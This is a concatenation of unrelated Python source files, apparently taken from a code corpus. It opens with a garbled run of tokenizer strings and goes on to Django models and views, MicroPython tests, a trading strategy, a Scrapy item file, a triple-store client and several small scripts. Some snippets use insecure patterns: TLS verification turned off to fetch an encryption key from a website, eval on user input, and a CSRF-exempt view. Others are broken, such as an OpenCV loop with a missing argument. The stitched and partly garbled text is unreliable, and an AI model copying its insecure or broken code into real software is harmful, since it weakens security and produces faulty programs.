"get", "Delta", "(", "network", ".", "start", ").", "keys", "()", "ĊĠĠĠ", "Ġif", "Ġlen", "(", "branches", ")", "Ġ==", "Ġ", "1", ":", "ĊĠĠĠĠĠĠĠ", "Ġregex", "Ġ=", "Ġbranches", "[", "0", "]", "ĊĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠ", "Ġprefix", "Ġ=", "Ġcommon", "prefix", "(", "branches", ")", "ĊĠĠĠĠĠĠĠ", "Ġsuffix", "Ġ=", "Ġcommon", "suffix", "(", "branches", ")", "ĊĠĠĠĠĠĠĠ", "Ġbranches", "Ġ=", "Ġ[", "i", "[", "len", "(", "prefix", ")", "Ġ:", "Ġ-", "len", "(", "suffix", ")]", "Ġif", "Ġlen", "(", "suffix", ")", "Ġelse", "Ġi", "[", "len", "(", "prefix", ")", "Ġ:]", "Ġfor", "Ġi", "Ġin", "Ġbranches", "]", "ĊĠĠĠĠĠĠĠ", "Ġbranches", ".", "sort", "(", "key", "=", "len", ")", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġlen", "(", "prefix", ")", "Ġor", "Ġlen", "(", "suffix", "):", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġregex", "Ġ=", "Ġprefix", "Ġ+", "Ġ\"(\"", "Ġ+", "Ġ\"+", "\".", "join", "([", "i", "Ġor", "ĠL", "AMBDA", "Ġfor", "Ġi", "Ġin", "Ġbranches", "])", "Ġ+", "Ġ\")\"", "Ġ+", "Ġsuffix", "ĊĠĠĠĠĠĠĠ", "Ġelse", ":", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġregex", "Ġ=", "Ġ\"+", "\".", "join", "([", "i", "Ġor", "ĠL", "AMBDA", "Ġfor", "Ġi", "Ġin", "Ġbranches", "])", "Ġor", "ĠP", "HI", "ĊĊĠĠĠ", "Ġreturn", "Ġregex", "Ċ" ]
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aa579025cacd11486a101b2dc51b5ba4997bf84a
class UrlPath: @staticmethod def combine(*args): result = "" for path in args: result += path if path.endswith("/") else "{}/".format(path) # result = result[:-1] return result
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a1304f290e0346e7aa2e22d9c2d3e7f735b1e8e7
# We don't need no stinking models but django likes this file to be there if you are an app
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368e209f83cc0cade81791c8357e01e7e3f940c8
#!/usr/bin/python3 import requests import urllib3 urllib3.disable_warnings() response = requests.get("https://freeaeskey.xyz", verify=False) data = response.text.encode("utf-8") key = data[data.index(b"<b>") + 3 : data.index(b"</b>")] print(key.decode("ascii"))
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174f744b641ee20272713fa2fe1991cb2c76830a
from django.db import models class Brokerage(models.Model): BrokerageName = models.CharField(max_length=500) # To-Do Fix additional settings for ImagesFields/FileFields # BrokerageLogo = ImageField ReviewLink = models.CharField(max_length=1000) ContactLink = models.CharField(max_length=1000) TotalAgents = models.IntegerField() Location = models.CharField(max_length=500) Desks = models.IntegerField() YearlyCosts = models.DecimalField(max_digits=12, decimal_places=2) CommisionSplit = models.CharField(max_length=8) # To-Do set a getter for Cap that returns none Cap = models.DecimalField(max_digits=12, decimal_places=2) TrainingPerWeek = models.IntegerField() Onboarding = models.BooleanField() Mentorship = models.BooleanField() Teams_Hiring = models.BooleanField() Marketing = models.CharField(max_length=500) TotalListings = models.IntegerField() ConferenceRooms = models.BooleanField() OfficeLeaders = models.CharField(max_length=500) # OfficeLeaderPhoto = models.ImageField
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d815c6e233d81dfb144442a83e6006aa4e29bfce
#!/usr/bin/env python # -*- coding: utf-8 -*- # ================================================== # @Author : Copyright@Ryuchen # ================================================== from .version import VERSION __all__ = ["VERSION"]
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eec52695e5afcc21e5fed6453e96cc3a58e7c1df
import micropython # viper function taking and returning ints @micropython.viper def viper_int(x: int, y: int) -> int: return x + y + 3 print(viper_int(1, 2)) # viper function taking and returning objects @micropython.viper def viper_object(x: object, y: object) -> object: return x + y print(viper_object(1, 2)) # a local (should have automatic type int) @micropython.viper def viper_local(x: int) -> int: y = 4 return x + y print(viper_local(3)) # without type annotation, types should default to object @micropython.viper def viper_no_annotation(x, y): return x * y print(viper_no_annotation(4, 5)) # a for loop @micropython.viper def viper_for(a: int, b: int) -> int: total = 0 for x in range(a, b): total += x return total print(viper_for(10, 10000)) # accessing a global @micropython.viper def viper_access_global(): global gl gl = 1 return gl print(viper_access_global(), gl) # calling print with object and int types @micropython.viper def viper_print(x, y: int): print(x, y + 1) viper_print(1, 2) # making a tuple from an object and an int @micropython.viper def viper_tuple(x, y: int): return (x, y + 1) print(viper_tuple(1, 2)) # making a list from an object and an int @micropython.viper def viper_list(x, y: int): return [x, y + 1] print(viper_list(1, 2)) # making a set from an object and an int @micropython.viper def viper_set(x, y: int): return {x, y + 1} print(sorted(list(viper_set(1, 2)))) # raising an exception @micropython.viper def viper_raise(x: int): raise OSError(x) try: viper_raise(1) except OSError as e: print(repr(e)) # this doesn't work at the moment # @micropython.viper # def g() -> uint: # return -1 # calling GC after defining the function @micropython.viper def viper_gc() -> int: return 1 print(viper_gc()) import gc gc.collect() print(viper_gc())
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9119fc1c75de980bbcf74f1e06a36ba587fc490b
import backtrader as bt class RSIStrategy(bt.Strategy): def __init__(self): self.order = None self.position.size = 0 self.sellAlert1 = False self.sellAlert2 = False self.buyAlert = False self.failureNum = 0 self.successNum = 0 self.rsi_1 = bt.ind.RSI(self.datas[0].close, period=7) self.rsi_2 = bt.ind.RSI(self.datas[1].close, period=7) self.rsi_3 = bt.ind.RSI(self.datas[2].close, period=7) self.rsi_4 = bt.ind.RSI(self.datas[3].close, period=7) def log(self, txt, dt=None): dt = dt or self.datas[0].datetime.date(0) print("%s, %s" % (dt.isoformat(), txt)) def notify_order(self, order): if order.status in [order.Completed]: if order.isbuy(): return self.log("BUY Executed at price: {} with size: {}".format(order.executed.price, order.executed.size)) elif order.issell(): print("Succeeded for {} times.".format(self.successNum)) return self.log("SELL Executed at price: {} with size: {}".format(order.executed.price, order.executed.size)) def next(self): """Here the conditions for openinng and closing a position have been set.""" if self.position.size == 0: # The condition for activating BUY function --> By checking oversold condition. if self.rsi_2 < 30 and self.rsi_3 < 40: self.buyAlert = True # If BUY is activated and below conditions are met, then aa buy order would be placed. if self.rsi_1 < 50 and self.rsi_2 > 30 and self.rsi_3 > 25 and self.buyAlert: size = round((self.broker.getcash() / self.data), 3) self.order = self.buy(size=size) self.buyAlert = False print(round(self.broker.get_cash(), 1)) # print(self.datas[0].low[0]) if self.position.size != 0: # The condition for activating SELL_1 function --> Waiting for RSI to reach overbought zone. if self.rsi_4 > 67: self.sellAlert1 = True # If SELL_1 is activated and below conditions are met, then a sell order would be placed. if (self.rsi_1 < 70 and self.rsi_4 < 60) and self.sellAlert1: self.close() self.successNum += 1 self.sellAlert1 = False # The condition for activating SELL_2 function --> Activated at overbought condition with RSI>85 if self.rsi_4 > 85: self.sellAlert2 = True # If SELL_2 is activated and below conditions are met, then a sell order would be placed. if (self.rsi_4 < 80) and self.sellAlert2: self.close() self.successNum += 1 self.sellAlert1 = False self.sellAlert2 = False # Setting Stop Loss for wrongly opened position. if 0.82 * self.order.executed.price > self.datas[0].close > 0.8 * self.order.executed.price: self.close() self.failureNum += 1 print("Shit !!! Failed for {} times.".format(self.failureNum))
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99785ffb4b594db1fac05ca3d3f5764151b2b7b6
import django from rest_framework import serializers from django.shortcuts import render from .models import Student from .serializiers import StudentSerializer from rest_framework.renderers import JSONRenderer from django.http import HttpResponse, JsonResponse import io from rest_framework.parsers import JSONParser from rest_framework.renderers import JSONRenderer from django.views.decorators.csrf import csrf_exempt # Single Model object. def student_detail(request, pk): # Student model object stu = Student.objects.get(id=pk) # Serializers convert student model object to python dictionary serializers = StudentSerializer(stu) # JSONRenderer convert student python dictionary to json object # json_data = JSONRenderer().render(serializers.data) # return HttpResponse(json_data,content_type='application/json') # use simply to reduce the extra line of code return JsonResponse(serializers.data) def student_list(request): # Student model object stu = Student.objects.all() # Serializers convert student model object to python dictionary serializers = StudentSerializer(stu, many=True) # JSONRenderer convert student python dictionary to json object # json_data = JSONRenderer().render(serializers.data) # return HttpResponse(json_data,content_type='application/json') return JsonResponse(serializers.data, safe=False) @csrf_exempt def create(request): if request.method == "POST": json_data = request.body stream = io.BytesIO(json_data) pythondata = JSONParser().parse(stream) serializer = StudentSerializer(data=pythondata) if serializer.is_valid(): serializer.save() res = {"msg": "data inserted", "code": 200} json_data = JSONRenderer().render(res) return HttpResponse(json_data) else: json_data = JSONRenderer().render(serializer.errors) return HttpResponse(json_data)
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cf0eb9685cdfc412871d3b36270ddab3e520bb8f
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy class CnnArticleItem(scrapy.Item): title = scrapy.Field() developments = scrapy.Field() body = scrapy.Field() date = scrapy.Field() class GoogleArticleItem(scrapy.Item): title = scrapy.Field() date = scrapy.Field() snippet = scrapy.Field() source = scrapy.Field()
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a42a94798d176e20646d41cf0f4b7e4f99e0790b
import requests from SPARQLWrapper import SPARQLWrapper, JSON from rdflib import Graph from plenum.server.plugin.graphchain.graph_store import GraphStore from plenum.server.plugin.graphchain.logger import get_debug_logger logger = get_debug_logger() class StardogGraphStore(GraphStore): def __init__(self, ts_db_name, ts_url, ts_user, ts_pass): super(StardogGraphStore, self).__init__(ts_db_name, ts_url) self._ts_user = ts_user self._ts_pass = ts_pass msg = "Created a new StardogGraphStore with with user equal to '{}' and URL equal to '{}'.".format( ts_user, self._node_ts_url ) logger.info(msg) def check_whether_db_exists(self): logger.debug("Checking whether a triple store with db '{}' exists...".format(self._node_ts_url)) url = self._get_ts_db_url() r = requests.get(url, auth=(self._ts_user, self._ts_pass)) status_code = r.status_code logger.debug("Status type of response whether db exists: {}.".format(status_code)) return status_code == 200 def add_graph(self, raw_graph, graph_format, graph_hash): logger.debug("Adding graph to the triple store with URL '{}'...".format(self._get_sparql_endpoint_for_update())) ihash = GraphStore.IHASH_PREFIX.format(graph_hash) g = Graph() g.parse(data=raw_graph, format=graph_format) sparql_query = SPARQLWrapper(self._get_sparql_endpoint_for_query(), self._get_sparql_endpoint_for_update()) query = GraphStore.INSERT_GRAPH_QUERY_TEMPLATE.format(ihash, g.serialize(format="nt").decode()) sparql_query.setQuery(query) sparql_query.method = "POST" sparql_query.setCredentials(self._ts_user, self._ts_pass) sparql_query.query() def check_if_graph_is_already_stored(self, graph_hash: str) -> bool: ihash = GraphStore.IHASH_PREFIX.format(graph_hash) logger.debug("Checking whether graph '{}' is already in the triple store...".format(ihash)) query = GraphStore.ASK_IF_GRAPH_IS_ALREADY_STORED.format(ihash) sparql_query = SPARQLWrapper(self._get_sparql_endpoint_for_query(), self._get_sparql_endpoint_for_update()) sparql_query.setQuery(query) sparql_query.method = "POST" sparql_query.setReturnFormat(JSON) sparql_query.setCredentials(self._ts_user, self._ts_pass) result = sparql_query.query() return result.convert()["boolean"]
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7affd79fb0bb47283bbd9a7fbcaa0ba43aa8e6a6
# Write a program to accept a no & count number of zeros in it.(int=32bits) def countOfZeros(num): cnt = 0 while num != 0: cnt += 1 num = num & (num - 1) return 32 - cnt def main(): num = eval(input("Enter number to count zeros in it's binary: ")) print("Assumung int is of 32 bits.") result = countOfZeros(num) print("Number of zero's in %d = %d" % (num, result)) if __name__ == "__main__": main()
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62a7958ba5ebb6da866d6ef156e52136df22f235
# =============>This is a Normal mathematical tasks<========== x = 7 x = 7 // 3 # rounds the number = 2 ans class int # x = 7 / 3 # gives the floating number = 2.33333335 ans class float # x = 7 % 3 # gives the reminder = 1 ans class int # print("x is {}" .format(x)) # print(type(x)) # ================>This is how to add decimal accuracy vs procession<================ # x = .1 + .1 + .1 -.3 the answer is 5.551115123125783 because python doe not understand accuracy and precision to overcome do the import * from decimal from decimal import * x = 0.1 + 0.1 + 0.1 - 0.3 print("x is {}".format(x)) print(type(x)) # =============>How to solve the above problem accuracy<=============== # And the type is class decimal.Decimal # When dealing with money use this method from decimal import * a = Decimal(".10") # it will conver from string b = Decimal(".30") x = a + a + a - b print("x is {}".format(x)) print(type(x))
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0744ec646e7b9303c67c25dff2997568c6171b91
#!/usr/bin/env python3 # # nextskeleton - An assembler skeleton for the ZX Spectrum Next # # Copyright (C) 2020 Richard "Shred" Körber # https://github.com/shred/nextskeleton # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import argparse import struct import sys parser = argparse.ArgumentParser(description="Generate an autoexec.bas that launches a .nex file") parser.add_argument("nex", help="path of the .nex file to be launched") parser.add_argument("file", help="autoexec.bas file to be generated") args = parser.parse_args() command = ".nexload " + args.nex + "\r" contents = bytearray(128) contents[0:8] = "PLUS3DOS".encode("ASCII") # +3DOS signature contents[8] = 0x1A contents[9:11] = [0x01, 0x00] # Issue and Version contents += bytearray((0x00, 0x0A)) # Line number 10 contents += struct.pack("<H", len(command)) # Line length contents += command.encode("ASCII") # BASIC line programLength = len(contents) - 128 # Length of the BASIC program contents[15] = 0x00 # DOS header: PROGRAM contents[16:18] = struct.pack("<H", programLength) # DOS header: length contents[18:20] = struct.pack("<H", 10) # DOS header: run at line 10 contents[20:22] = struct.pack("<H", programLength) # DOS header: offset to prog contents[11:15] = struct.pack("<L", len(contents)) # Set total length contents[127] = sum(contents[0:126]) & 0xFF # Compute checksum with open(args.file, "wb") as f: f.write(contents)
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8abfb6a9ca3a7a909a1e8125e8c03e29b2bacda8
from StockDatabase import StockDatabase from RNNinner import RecurrentAnalyzer import torch import matplotlib.pyplot as plt import numpy as np database = StockDatabase() database.read_data() prices = torch.tensor(database.normalize(database.get_stock_prices("AAPL", length=2000))) print(prices.shape) model = RecurrentAnalyzer(100, 10).to("cpu") model.load_state_dict(torch.load("rnn_inner")) model.init_hidden() model.eval() with torch.no_grad(): preds = list(model(prices[:50, None, None])[:, 0]) for i in range(len(prices) - 50): preds.append(model.forward_step(preds[-1][None, ...])[0]) print(preds) print(prices[1:]) plt.plot(np.arange(len(prices) - 1), prices[1:]) plt.plot(np.arange(len(preds)), preds) plt.show()
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14f309d478de6de5a0b493503176941fdfa8b702
import cv2 import numpy as np if __name__ == "__main__": cap = cv2.VideoCapture() while True: ret, frame = cap.read() cv2.imshow(frame)
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